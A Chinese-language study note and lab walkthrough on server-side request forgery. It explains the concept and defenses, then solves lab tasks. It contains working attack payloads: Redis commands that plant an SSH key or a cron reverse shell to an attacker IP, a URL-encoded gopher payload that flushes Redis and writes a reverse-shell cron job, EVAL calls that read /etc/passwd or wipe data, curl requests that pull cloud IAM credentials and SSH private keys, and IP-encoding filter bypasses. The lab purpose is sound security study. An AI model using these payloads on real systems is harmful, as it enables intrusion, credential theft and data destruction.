SSRF(服务端请求伪造)
SSRF攻击是指攻击者滥用服务器上的功能来读取或修改内部资源。在这种攻击中,攻击者能够提供或修改一个URL,使得服务器代码会按照这个URL去读取数据或提交数据
原理
服务器信任边界突破:利用服务器对内部网络的信任关系
URL操控:经过精心构造的URL,攻击者可以
读取服务器配置(如AWS元数据)
连接到内部服务(如HTTP接口的数据库)
向本不应暴露的内部服务发送POST请求
攻击目标
信息收集
获取云服务数据(如AWS的IAM凭证)
读取服务器本地文件(通过file://协议)
内部网络探测
扫描内网IP和端口
识别内部服务
内部服务交互
攻击无认证的内部API
操作内部数据库
触发内部管理功能
典型攻击场景
POST /api/fetchdata HTTP/1.1
Host: vulnerable.com
Content-Type: application/json
{
"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
防御
输入验证
实施严格的URL白名单
验证服务类型(禁用危险协议)
网络层防护:
限制服务器出站连接(防火墙:限制服务器只能访问必要的内部服务)
使用网络隔离策略
云服务加固
保护元数据服务(如AWS IMDSv2)
使用服务端的代理替代直接请求
日志监控
记录所有外部请求
设置异常请求报警
SSRFtask1
靶场
这里点击按钮抓包后会提交一个tom.png的url申请,把tom改成jerry就行了
审计
源码也没什么好说的,就是个tom/jerry的比较
SSRFtask2
靶场
要我们从 http://ifconfig.pro 获取信息,那就尝试把url改成这个
没想到这就成功了
审计
也就是对url是否是http://ifconfig.pro 进行判断
ssrf-lab
Redis服务
基础概念:
Redis是一个开源的、基于内存的数据结构存储系统,默认端口6379,它可以用作数据库、缓存和消息中间件。Redis 以键值对形式存储数据,支持多种复杂的数据结构,具有高性能、高可靠性和丰富的功能特性,被广泛应用于互联网应用中。
常见攻击手法:
未授权访问(Redis 服务器没有设置密码或绑定特定 IP,攻击者可以直接连接并执行命令。)
# 无需密码直接连接
redis-cli -h target_ip -p 6379
# 查看所有键
KEYS *
# 获取敏感数据
GET user:password
RCE:攻击者通过 Redis 写入 SSH 密钥或定时任务,实现远程命令执行。
# 写入SSH公钥,实现无密码登录
SET x "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqql6MzstZYh1TmWWv11q5O3pISj2ZFl9HgH1JLknLLx44+tXfJ7mIrKNxOOwxIxvcBF8PXSYvobFYEZjGIVCEAjrUzLiIxbyCoxVyle7Q+bqgZ8SeeM8wzytsY+dVGcBxF6N4JS+zVk5eMcV385gG3Y6ON3EG112n6d+SMXY0OEBIcO6x+PnUSGHrSgpBgX7Ks1r7xqFa7heJLLt2wWwkARptX7udSq05paBhcpB0pHtA1Rfz3K2B+ZVIpSDfki9UVKzT8JUmwW6NNzSgxUfQHGwnW7kj4jp4AT0VZk3ADw497M2G/12N0PPB5CnhHf7ovgy6nL1ikrygTKRFmNZISvA==\n\n"
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SAVE
# 写入定时任务执行反弹shell
SET x "\n\n*/1 * * * * bash -i >& /dev/tcp/attacker_ip/8080 0>&1\n\n"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE
数据泄露攻击
# 遍历所有键
KEYS *
# 获取特定模式的键
KEYS user:*
KEYS password:*
# 获取敏感数据
GET user:1:password
HGETALL user:1
脚本注入攻击:攻击者利用EVAL命令执行恶意Lua脚本
# 执行系统命令
EVAL "os.execute('cat /etc/passwd')" 0
# 删除所有数据
EVAL "redis.call('FLUSHALL')" 0
Gopher协议
Gopher协议是一种早期的互联网协议,类似于简化的HTTP,主要用于文本、菜单和文件的传输。现代Web已经很少使用,但某些服务器仍支持
协议特点
基于TCP,默认端口70
支持多行命令
可以构造任意的TCP数据包
常用于攻击Redis、MySQL、Memcached等内网服务
在SSRF中的作用
Gopher是SSRF中最危险的协议之一,因为:
可构造任意TCP请求(如Redis、MySQL命令)
绕过HTTP限制(HTTP只能单行请求,Gopher可多行)
攻击内网未授权服务(如Redis未授权访问)
攻击示例(Redis未授权访问)
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$1%0d%0a1%0d%0a
解码后相当于向Redis发送( SET 1 1)
Dict协议
Dict用于查询字典定义,默认端口2628
协议特点
主要用于查询单词定义
可以探测端口开放情况
某些实现允许执行简单命令
在SSRF中的作用
端口扫描(检查内网服务是否开放)
dict://127.0.0.1:6379/
如果 Redis 开放,会返回 -ERR unknown command。
获取服务信息
dict://127.0.0.1:2628/info
某些服务(如Redis)会返回版本信息
curl
curl是常用的命令行工具,用于请求Web服务器(客户端client的URL工具)
用途 | 命令示例 | 注释 |
GET 请求 |
| |
POST请求 |
| -X:指定 HTTP方法 -d:发送POST数据(表单格式) |
发送JSON |
|
|
查看请求和响应头 |
| |
仅查看响应头 |
| |
保存输出到文件 |
|
|
跟随重定向 |
|
|
常见内网IP段
局域网地址范围分三类,以下IP段为内网IP段:
C类:192.168.0.0 - 192.168.255.255
B类:172.16.0.0 - 172.31.255.255
A类:10.0.0.0 - 10.255.255.255
AK/SK
云服务提供商提供的身份验证凭证,AK是访问密钥ID,SK是秘密访问密钥
常见云服务AK/SK:
AWS:AKIAxxxxxxxxxxxxxxxx
阿里云:LTAIxxxxxxxxxxxxxxxx
腾讯云:AKIDxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
利用技巧
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
不同云厂商的元数据端点:
AWS: 169.254.169.254
阿里云: 100.100.100.200
腾讯云: metadata.tencentyun.com
临时凭证使用
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/role-name --role-session-name test
SSH
SSH密钥类型:RSA、DSA、ECDSA、Ed25519
常见位置:
~/.ssh/id_rsa (私钥)
~/.ssh/authorized_keys (公钥授权文件)
/etc/ssh/ssh_host_*_key (主机密钥)
利用技巧
1.读取本地文件获取SSH密钥:
curl file:///home/user/.ssh/id_rsa
通过gopher协议利用SSH:
构造SSH协议流量攻击内网SSH服务
利用已知漏洞或弱密码尝试登录
利用known_hosts文件
获取内网主机信息
分析信任关系
basic
没怎么接触过这种类型,先看源码
源码
初始化一个cURL会话,ch中存储cURL会话的句柄(handle)
将用户通过POST方法提交的URL设置为cURL请求的目标地址
CURLOPT_URL是一个选项,用于指定请求的目标URL
前端通过POST方法提交了一个表单,其中包含一个名为 handler 的字段,其值是一个 URL 地址。
CURLOPT_RETURNTRANSFER被设置为1时,cURL会将请求的返回结果以字符串的形式返回,而不是直接输出到浏览器(方便后续对返回结果处理或存储)
执行请求后,返回的结果会存储在变量 $output 中。
关闭cURL会话
将变量 $output 的内容输出到浏览器。
总结:就是前端输入一个URL,curl会对这个url发出HTTP请求,并将结果返回浏览器,可以看到这里是没有过滤的
靶场
因为很多的SSRF协议都是要结合Redis服务利用的,所以
开启一下redis服务
http与https协议
127.0.0.1
可以看到回显,说明没有对内网进行过滤
file协议
file:///etc/passwd
file:///文件的路径
dict协议
dict://127.0.0.1:6379/info
简单看一下返回的redis信息(本地redis服务配置信息)
HTTP/1.1 200 OK //redis 是 TCP 协议服务,但返回了 HTTP 头因为被HTTP代理拦截
Date: Fri, 13 Jun 2025 07:55:50 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 2039
Connection: close
Content-Type: text/html; charset=UTF-8
-ERR Syntax error, try CLIENT (LIST | KILL ip:port | GETNAME | SETNAME connection-name)
$1936
# Server
redis_version:3.0.6
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:7785291a3d2152db
redis_mode:standalone
os:Linux 6.6.87.1-microsoft-standard-WSL2 x86_64
arch_bits:64
multiplexing_api:epoll
gcc_version:5.4.0
process_id:119
run_id:beb83efc8db5b60019a2e2ad65ce4f485e510365
tcp_port:6379 //默认端口开放
uptime_in_seconds:5543
uptime_in_days:0
hz:10
lru_clock:4970885
config_file: //未指定配置文件
# Clients //客户端
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:6
blocked_clients:0
# Memory
used_memory:815640
used_memory_human:796.52K
used_memory_rss:3932160
used_memory_peak:816664
used_memory_peak_human:797.52K
used_memory_lua:36864
mem_fragmentation_ratio:4.82
mem_allocator:jemalloc-3.6.0
# Persistence
loading:0
rdb_changes_since_last_save:5
rdb_bgsave_in_progress:0
rdb_last_save_time:1749798267
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:-1
rdb_current_bgsave_time_sec:-1
aof_enabled:0 //未开启持久化
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok
# Stats
total_connections_received:13
total_commands_processed:24
instantaneous_ops_per_sec:0
total_net_input_bytes:925
total_net_output_bytes:11431
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:0
migrate_cached_sockets:0
# Replication
role:master
connected_slaves:0
master_repl_offset:0
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0
# CPU
used_cpu_sys:4.02
used_cpu_user:1.45
used_cpu_sys_children:0.00
used_cpu_user_children:0.00
# Cluster
cluster_enabled:0
# Keyspace
db0:keys=1,expires=0,avg_ttl=0 //数据库状态有一个键无过期键
+OK
protected-mode:(未显示) # 未启用保护模式
requirepass:(未显示) # 未设置密码认证
利用dict://127.0.0.1:6379/KEYS *获取 redis 数据库 存储的内容
通过容器验证
Gopher协议
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
-->
gopher://127.0.0.1:6379/_*1 $8 flushall *3 $3 set $1 1 $64 */1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1 *4 $6 config $3 set $3 dir $16 /var/www/html/ *4 $6 config $3 set $10 dbfilename $4 root *1 $4 save quit
连接 Redis,
_
后的内容是经过UEL编码后的 Redis协议(RESP)命令清理Redis数据:
_*1 $8 flushall
(删除所有数据库的数据)写入恶意 Cron 任务:
使用 SET 命令将键 1 的值设为一段 Cron 任务(每 1 分钟执行一次反弹 Shell)
攻击者试图通过 Redis 写入定时任务,建立持久化后门
配置Redis持久化路径
*4 $6 config $3 set $3 dir $16 /var/www/html/
修改 Redis 持久化目录为 /var/www/html/(通常为 Web 根目录)。
*4 $6 config $3 set $10 dbfilename $4 root
修改持久化文件名为 root(最终文件路径为 /var/www/html/root)。
触发持久化
*1 $4 save
强制 Redis 将数据保存到磁盘(写入恶意 Cron 任务到 Web 目录)。
quit
退出 Redis 连接。
总结
写入恶意 Cron 任务(用于定时执行任务的计划任务服务)
通过 Redis 的 SET 命令插入 Cron 任务,实现定时反弹 Shell(连接到攻击者的 IP 127.0.0.1:45952)。
利用 Web 目录提权
将 Redis 持久化文件(root)写入 Web 目录,可能通过 HTTP 访问或后续利用。
返回结果
advanced1
这里通过正则表达式限制url必须以http://或者https://开头,并且不能指向10.0.0.3这一地址
这样的话之前的协议绕过肯定是不行的,但是可以ip地址编码绕过
ip地址绕过
字符串: 10.0.0.3
二进制: 00001010 . 00000000 . 00000000 . 00000011
八进制: 012.0.0.03
十六进制: 0A.00.00.03 0xA.0x0.0x0.0x3
整数: 167772163
点号省略 10.3
advanced2
可以看到被限制了
这里感觉有点奇怪,网上用http://google.com# @secret.corp绕过,但是这一返回其实和secret.corp没关系